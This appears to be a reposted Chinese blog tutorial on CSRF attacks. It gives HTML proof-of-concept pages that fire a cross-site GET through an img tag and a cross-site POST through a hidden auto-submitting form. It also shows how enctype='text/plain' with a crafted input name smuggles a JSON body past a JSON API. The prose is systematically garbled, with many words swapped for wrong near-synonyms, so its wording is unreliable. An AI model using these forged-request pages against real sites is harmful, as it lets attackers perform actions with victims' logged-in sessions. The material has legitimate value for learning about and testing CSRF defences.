原文:https://mp.weixin.qq.com/s?__...
微信公众号:毛毛虫的小小蜡笔
CSRF简介
Cross-site request forgery,跨站申请伪造,通常缩写为CSRF或者XSRF。
CSRF之get申请攻打
发动get申请攻打比较简单,只须要通过img标签就可实现。
因为受浏览器同源策略限度,因而不能通过ajax来发动get申请。
Demo验证
代码:
// 这段代码是网站B的页面,只是发动了网站A的申请// src的值就是网站A下的get申请<head> <meta charset="utf-8"> <title>csrf之get申请攻打</title></head><body> <img src="http://xxx"></body>
成果:
用户关上攻击者网站B,则会主动发动网站A的get申请,状态码200示意胜利。
如下截图所示:
通过抓包查看,申请是带上了cookie,响应也是失常的。
如下截图所示:
就是如果在别的网站能发动网站A的申请,网站A就是存在CSRF破绽了。
只是get申请的危害没有post申请那么大,但也不能疏忽。
但凡破绽都要提起十二分精力。
CSRF之post申请攻打
相比get申请的攻打,想发动post申请的攻打,就没那么容易实现。
首先咱们晓得,在网站B是不能通过ajax发动网站A的post申请的,因为有同源策略限度。
但须要留神的是,同源策略只是限度了XMLHttpRequest和Fetch API,而html的form标签则不受同源策略限度。
同样,get申请的img标签也不受同源策略。
1. 测试form表单发动post申请是否能攻打胜利
代码:
// 这段代码是网站B的页面,只是发动了网站A的申请<head> <meta charset="utf-8"> <title>csrf-post</title></head><body> <form id="form" action="http://xxx" method="POST" target="iframe1"> <input type="text" name="id" value="70"> <input type="text" name="biz_module_id" value="[15]"> <input type="text" name="deploy_path" value=""> <input type="text" name="description" value="test"> <input type="text" name="name" value="config.txt"> <input type="text" name="version" value="1"> </form> <iframe name="iframe1"></iframe> <script> document.getElementById('form').submit() </script></body>
成果:
论断:
很显著申请是不胜利的。
但能把网站A的登录态带过来,也算是胜利了一部分。
比照下网站A的post申请,发现两者的申请数据格式不一样。
网站A的如下图所示:
剖析:
form申请的数据格式跟enctype属性无关。
默认的是application/x-www-form-urlencoded,此时就是Form Data。
编码类型总共三种,还有两种是:multipart/form-data和text/plain。
前者是上传文件用的,后者用的比拟少。
但正是通过text/plain,能够将数据格式改为Request Payload。
2. 再次验证
代码:
// 在下面的代码的根底上,把form新增enctype属性<head> <meta charset="utf-8"> <title>csrf-post</title></head><body> <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain"> <input type="text" name="id" value="70"> <input type="text" name="biz_module_id" value="[15]"> <input type="text" name="deploy_path" value=""> <input type="text" name="description" value="test"> <input type="text" name="name" value="config.txt"> <input type="text" name="version" value="1"> </form> <iframe name="iframe1"></iframe> <script> document.getElementById('form').submit() </script></body>
成果:
论断:
胜利的把数据格式改为Request Payload了,但为啥接口仍然报错?
再认真比照下网站A和网站B的申请,就能够发现:
网站A那边是JSON格局,但网站B这边不是JSON,就是纯文本加换行的一个格局,那这样必定有问题。
剖析:
那有什么好方法解决呢?
只能持续对form表单的参数进行深刻开掘了。
form表单的参数就是input标签等的name和value组成的一些列参数,那可否只用一个input标签,把所有参数都拼接起来?
3. 拼接参数,再次验证
代码:
// 在下面的代码的根底上,把input改为如下所示:<head> <meta charset="utf-8"> <title>csrf-post</title></head><body> <form id="form" action="http://xxx" method="POST" target="iframe1" enctype="text/plain"> <input type="text" name='{"id":70,"biz_module_id":[15],"deploy_path":"","description":"test","name":"config.txt","version":"' value='123"}"'> </form> <iframe name="iframe1"></iframe> <script> document.getElementById('form').submit() </script></body>
成果:
论断:
攻打胜利了。
只有功夫深,还是有点播种的。
最初
- 公众号《毛毛虫的小小蜡笔》
有疑难和问题,请留言。
如果感觉文章还能够,请点赞或珍藏,谢谢。